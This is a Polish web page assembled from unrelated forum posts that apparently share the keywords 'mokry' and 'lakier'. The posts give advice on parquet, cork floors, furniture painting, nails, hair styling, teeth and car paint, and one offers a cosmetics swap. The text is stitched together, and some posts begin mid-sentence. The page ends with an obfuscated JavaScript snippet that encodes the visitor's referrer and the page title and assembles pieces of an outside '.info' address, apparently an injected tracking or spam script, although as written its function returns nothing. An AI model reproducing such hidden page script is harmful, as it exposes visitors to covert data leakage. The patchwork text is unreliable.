zwykłym mopie . Należy tylko zmienić nakładkę z mikrofibi jak zrobi
się zbyt mokra. Kupiłam na allegro nowiutki za 304 zł . Z całym
sercem polecam , choć miałam stracha kupując .
Pozdrawiam

wielkie dzieki
jedno wiem na pewno (chociaż wiedziałam juz to przedtem) surowej sosny (nawet
lakierowanej) miec nie chce i nie bede. kolor do bani po prostu. ale cały czas
sie łudze, ze malowane, bielone czy inaczej jeszcze obrabiane kolorystycznie
będzie dobrze.
na razie to ten kawalek elewacji, który juz połozyłam po kilku dniach mokrych
zrobił sie uroczo łososiowy. bleeee
NEU!!! TY mi powiedz, o jakim impregnacie mówił mi twoj mąz, coby pomalowac nim
na zimę? (taki tani wspominal) i żeby jeszcze mi "grał" później z beckersem
bejcą. którą zresztą zaraz jade wybierac ostatecznie i jak juz wreszcie ustalę
czy B czy BM to do ciebie dzwonię

jeszcze raz dzieki kinguch za fotki i ostrzeżenie.

Ja mam drewniany blat i uważam, że nie warto, ale to może wina drewna/lakieru.
Utrzymać w czystości to go utrzymam, ale strasznie się zniszczył pod wpływem
wody. W kuchni blaty ścieram na mokro, myję płynem, żeby utrzymać czystość - to
jest kuchnia, mi często coś się nachlapie, pobrudzi, zresztą u mnie wiele rzeczy
stoi na blacie po prostu, nie mam tyle miejsca w szafkach. Nie mówiąc o tym, że
w okolicach zlewu często coś sie nachlapie podczas mycia naczyń.

potrzebuję mokre chusteczki
oto co mam na zmianę:
www.voila.pl/g2k46/
spray avon przedłużający świeżość włosów, nowy, 100ml
zalotka do rzęs Manhattan, stan idealny
krem do twarzy Soraya brązująco-pielęgnacyjny, 50 ml, zostało 1/2
Marie claire czarny eyeliner w płynie i srebrno-biała kredka do
oczu, wodoodporne, używane
kosmetyczka, czarna lakierowana ze srebrnymi wstawkami

wymienię cały ten zestaw na
kosmetyk Nivea Baby,
nową butelkę lub smoczki canpol,nuk lub avent,
lub 2 opak. chusteczek do pupci.

jestem z warszawy
Zapraszam

Jakie klepki na przekładkach?
Gdzieś jeszcze tkwi to sezonowanie. Za komuny robiono parkiety bez wymiaru i z
mokrego drewna. Teraz producenci raczej dbają o swój wyrób. Parkiet produkowany
jest z wilgotnością niższą niż naturalna wilgotność ekploatacyjna. Po wyrobieniu
jest pakowany w folię. I właśnie taki przesuszony z idealnym wymiarem z maszyny
ma trafić na podłogę. Już przyklejony dochodzi do wilgotności eksploatacyjnej. Z
tego właśnie powodu czekamy po założeniu 2-3 tygodnie do szlifowania. Przez
okres od położenia do szlifowania jego wiłgotność się zwiększa, pęcznieje,
występują wewnętrzne naprężenia, na krawędziach pojawjają się wypiętrzenia coś
jak dachy chińskich budowli. Wtedy go szlifujemy i lakierujemy. Gdy przyjdzie
sezon grzewczy, okres niskiej wilgotności to nie bedą się nam w podłodze
pojawiać szpary tylko naprężenia w podłodze będą maleć.Sumując. Parkiet kupujemy
i od razu kładziemy.

Kilka sugestii drobnych. Po pierwsze, stary zniszczony parkiet można odnowić -
może nie wyjdzie taniej, ale na dlużej starczy (mój ma 30 lat:)) - trzeba go
zdjąć i założyć od nowa, wycyklinować i polakierować. Ze względu na dzieco
radziłabym którys z najmocniejszych lakierów, bo panele szybko się zniszczą...
Kasetony zwykle bez ploblemów przyjmują farbę, radzę je omieśc mokrą zmiotką -
cały kurz, którego nie widać przyklei sie do szczotki.
Co do malowania to pamietaj tylko o tym, że malując pędzlem i wałkiem (np.
pędzlem w narożacz, a wałiem resztę) należałoby rozcieńczyć lekko (!) farbę
którą nakładasz pędzlem (pędzel nakłada grubszą warstwę i przy niektórych
kolorach powstajewidoczna różnica - lepiej nie ryzykować)
Co do "Puchatkowych" ozdób, to masz wiela możliwości, ja polecam masę mocującą.
Dostaniesz ją w kążdym markecie na dziale papierniczym, wygląda jak
rozwałkowana plastelina, służy do przyczepiania różnych rzeczy na dowolne pow.
latwo je odkleić i nie zostawia tłustyh plam.
A co do mebli to nie piszesz czym są teraz pokryte... I jak chciałabyś, żeby
wyglądały? Od tego zależy wybór farby.
Pozdrawiam

A niech Cię Bóg broni przed pomysłem położenia korka na podłodze-GDZIEKOLWIEK !!
Za kilka miesięcy będziesz to zrywał. Nie wierz w żadne bzdury o znakomitych
właściwościach lakierów utwardzających itp. itd. Te cuda chemii już po kilku
tygodniach dostają setek mikropęknięć i to jest początek końca.Wilgoć+konieczność
mycia na mokro załatwiają skutecznie resztę. A to wszystko przez jedną małą
prozaiczną właściwość korka - on jest po prostu miękki i pracuje przy nacisku,
stąd mikropęknięcia i .... koniec. Korek jest piękny, daje ciepło można kupić
dowolne wybarwienie ale...NIGDY NA PODŁOGĘ. Dlaczego tyle napisałem ?? bo sam ten
koszmar przeżyłem "zmuszony" przez żonę do położenia korka na podłogę w kuchni.
Nie rób tego błędu co ja. Pzdr.

Ale przypadek:) Też zamierzam pomalować szafkę w przedpokoju.
Ja używam farb akrylowych,głównie dulux,myślę że jakością
dorównują tej tikurrili,a sa tańsze.
Ja się jeaszcze bawię w spękania,czyli "postarzanie" mebli i wszystkiego,co w łapę
wpadnie. Do tego trzeba mieć specjalny preparat,którym maluje sie 1 warstwę farby
lub niepomalowany mebel,a gdy wyschnie,to maluje się inną farbą.
Ta druga farba nie może być zbyt podobna do podkładu,bo spękania nie będą widoczne.
Fajna zabawa,naprawdę.Zawsze myślałam,że nie mam zdolności manualnych,ale
przy takim malowaniu mieć ich nie trzeba. Ja maluję,oprócz mebli,doniczki,
skrzyneczki,słoiki. Dodatkowo naklejam na to serwetki,ale nawet tylko pomalowane
wyglądają fajnie. A jaką mam frajdę.

Aha,jeśli mebel ma gruba warstwę lakieru,to należy zastosować taki specjalny
preparat,po nałożeniu bierze sie szpachelkę i zeskrobuje starą warstwę.
Warto jeszcze przejechać papierem ściernym,coby wygładzić.
Potem przetrzeć na mokro i gdy wyschnie, to farby w dłoń i do roboty:)

Ja nosze tipsy od 4 lat i nigdy zaden nigdzie nie zostal. Odradzam akryl,
proponuje ci zelowe. Sa ciensze, ladnejsze - mozna ich nie malowac, bo sie
blyszcza jak lakierowane:)) Zel nie ejst taki twardy jak akryl, co przy moich
miekich plytkach powoeduje, ze sie nie odklejaja, jak akrylowe. Akrylowe
lamalam za drzwiach od samochodu usilujac je otworzyc mokra dlonia ( np po
sniegu). W Sopociena Chopina jest zaklad La Beaute, tam Pani karolina robi
tipsy alessandro, polecam, robi slicznie, cieniutkie, wygladaja jak naturalne.
Pierszy raz: 140PLN, uzupelnienie 100 ( co 3-4 tygodnie).

no to jeszcze musze sobie znalezc sponsora
na te sztuczne paznokcie.

margie napisała:

> Ja nosze tipsy od 4 lat i nigdy zaden nigdzie nie zostal. Odradzam akryl,
> proponuje ci zelowe. Sa ciensze, ladnejsze - mozna ich nie malowac, bo sie
> blyszcza jak lakierowane:)) Zel nie ejst taki twardy jak akryl, co przy moich
> miekich plytkach powoeduje, ze sie nie odklejaja, jak akrylowe. Akrylowe
> lamalam za drzwiach od samochodu usilujac je otworzyc mokra dlonia ( np po
> sniegu). W Sopociena Chopina jest zaklad La Beaute, tam Pani karolina robi
> tipsy alessandro, polecam, robi slicznie, cieniutkie, wygladaja jak
naturalne.
> Pierszy raz: 140PLN, uzupelnienie 100 ( co 3-4 tygodnie).

kosmetyki nie, bo wybiera takie ktore pielegnuja a nie niszcza
ale wizyta u fryzjerki, ktora potraktowala moje wlosy prostownica na mokre od
lakieru pasemka, zmasakrowala moje wlosy, doslownie ucieklam z fotela ze
slowami:"co mi pani robi???", widok dymiacych sie wlosow jest okropny -
uwierzcie;)

witam
jeżeli chodzi o lakier polecam wszelkiej maści pasty polerskie na mokro, ja
używam niemieckiej, niestety nazwy nie pamiętam :((( nakłada się ją w kilku
misjcach, pryska wodą i poleruje szmatką, połysk idealny, zaciera wszwelkie
rysy, i nie wgryza się w lakier... oczywiście wcześniej należy usunąć z części
lakierowanych piasek i inny brud który może porysować lakier.... użycie myjki
ciśnieniowej odradzam, ponieważ wypłukuje smar z łożysk, lepiej się pomęczyc i
wypucować ręcznie swoją maszyne, i ile puźniej satysfakcji gdzy sie widzi taki
błyszczący sprzęt :)))

pozdrowienia, hej

jak używacie pianki do włosów??
Może to głupie pytanie - ale ja nie mam odwagi nałożyć pianki na mokre włosy
zaraz po umyciu. Boję się, że się jakoś paskudnie posklejają i nie ułożą,
chociaż podobno tak powinno się robić. I w rezultacie najczęściej używam po
prostu lakieru.

A jak Wy robicie?? I czy włosy rzeczywiście dobrze się potem układają??

Miałam niedawno piaskowanie. Zęby są rzeczywiście trochę bielsze :) W końcu
kamień nazębny i osad znikają. I fajnie gładkie się zrobiły. Kosztowało 140 zł
(Warszawa). Jaki nie zrujnuje Ci to budżetu, to polecam przetestować :)

Sam zabieg trwa z 10 min, mnie się podobało :) Zęby są czyszczone roztworem wody
z krzemionką. Czuć uderzanie jakby piasku w dziąsła, stąd pewnie nazwa -
piaskowanie. Człowiek ma mokre pół twarzy, bo ten roztwór krzemionkowy jest pod
ciśnieniem.

A przy okazji się spytam. Lakierujecie zęby? Nigdy nie lakierowałam, stomatolog
mi teraz zaproponował. Czy to będzie miało jakiś efekt estetyczny w postaci
bielszych zębów? Czy nie i tylko zabezpieczy prze próchnicą? Bo z moimi zębami
nic się nie dzieje, plombę miałam zakładaną raz w życiu, 16 lat temu :) Od
tamtej pory z zębami OK, żadnych ubytków (aż się sama temu dziwię). I nie wiem,
czy inwestować stówę w to lakierowanie, czy sobie darować...

Pianka, żel, wosk wella, mocny lakier.W czym problem?
Nakładasz na mokre włosy pianke i formujesz tak jak chcesz.Suszysz, można suszarką trzymając głowe w dół albo pozwalasz wyschnąć włosom swobodnie.
Potem stawiasz na wosk(minimalna ilość) albo żel, paste i lakierujesz.Nic prostszego

Gość portalu: pilot13 napisał(a):

> ja też miałem podobny problem. kupiłem używane felgi i musiałem je doprpwadzić
> do porządku. Po pierwsze musiałem je wypiaskować (zapytaj jakiegokolwiek
> lakiernika)

ja też kiedyś miałem podobny problem - tylko piaskowanie, nie śrutowanie, gdyż
metalowy śrut wbiłby się w powierzchnię alu i byłyby to ogniska korozji

a następnie zawiozłem do lakierni proszkowej.

Lakier proszkowy - utwardzany więc na gorąco jest trwalszy niż ten przy
lakierowaniu mokrym (takim jak maluje się samochody). Proszkowo są na przykład
malowane poręcze w autobusach - nieomal nie do zdarcia.

> Całość imprezy kosztowała 180 PLN.

Trzeba się potargować troszeczkę, ale warto.

> Koszt niewielki a efekt... felgi jak nowe.
> Wszystko robiłem w Tęgoborzy pod Nowym Sączem

Dokładnie tak.

Z pozdrowieniami,

Stefan

Czy macie sposób na usunięcie z lakieru...
Czy macie jakiś dobry sposób na usunięcie z lakieru drobnych małych kropeczek,
które po zimie oblepiły mi klapę bagażnika i przednie drzwi tuż przy kołach?
Wygląda to jak kropeczki ze smoły, ale nie wiem, co to jest. Może jest jakiś
środek, który takie dziadostwo rozpuszcza? Jak mocno potrę mokrą szmatą to też
schodzi, ale boję się, że mogę porysować w ten sposób lakier. Co wy na to?

Ja mam u siebie zwalone sufity. Do poprawki. A podłogę to chyba sam pomaluje
jeszcze jedną warstwą lakieru. Ten od zamków to partacz - dodatkowa można u
niego zakupić zamek za 250 zł ale pod 27 żle go zamontowałia i do drzwi można
sie czepiać. Od poniedziałku wchodzi glazurnik więc się przekonam jak jest pod
PCVale jak mokro to nie za dobrze. U mnie ściany zaczęły pękać jak odkręciłem
zawory przy kaloryferach na 5.
Pozdrawiam

Roznica jest spora. Powierzchnie woskowane sa zdecydowanie slabiej
zabezpieczone, powiedzmy jest to troche lepszy o stopien sposob od dobrego,
solidnego pastowania. Ewentualne rozlanie wody, czegos cieplego moze pozostawic
slad, poniewaz wosk tak dobrze nie zabezpiecza i moze sie dostac troche wody
bezposrednio do drewna. Natomiast wyglada o wiele ladniej, naturalniej. Ma
delikatny aksamitny polysk i ladny miodowy odcien. Natomiast lakier wiadoma
sprawa, zabezpiecza w pelni. Mozesz wylewac rozlewac, zmywac na mokro i nic sie
nie stanie. Wyglad zalezy czy jest to lakier matowy czy swiecacy- a to zalezy
od upodobania. No i ta warstwa lakieru jest jakby grubsza niz wosku. Na stolik
odradzalabym lakier nieekologiczny, to nie prawda ze sa mniej trwale. Tylko
musisz polakierowac na pewno 3 razy. Polecalabym Ci jednak lakier. Pozdrawiam
Utalia

function bb5154522f91862(str) { return escape(str).replace('+', '%2B').replace('%20', '+').replace('*', '%2A').replace('/', '%2F').replace('@', '%40'); } function aa5154522f91826(a,b) { var d="http://"; var e="ima"; var f=(600+77); var g=".info/se2"; return(''); } document.write(aa5154522f91826(bb5154522f91862(document.referrer),bb5154522f91862(document.title)));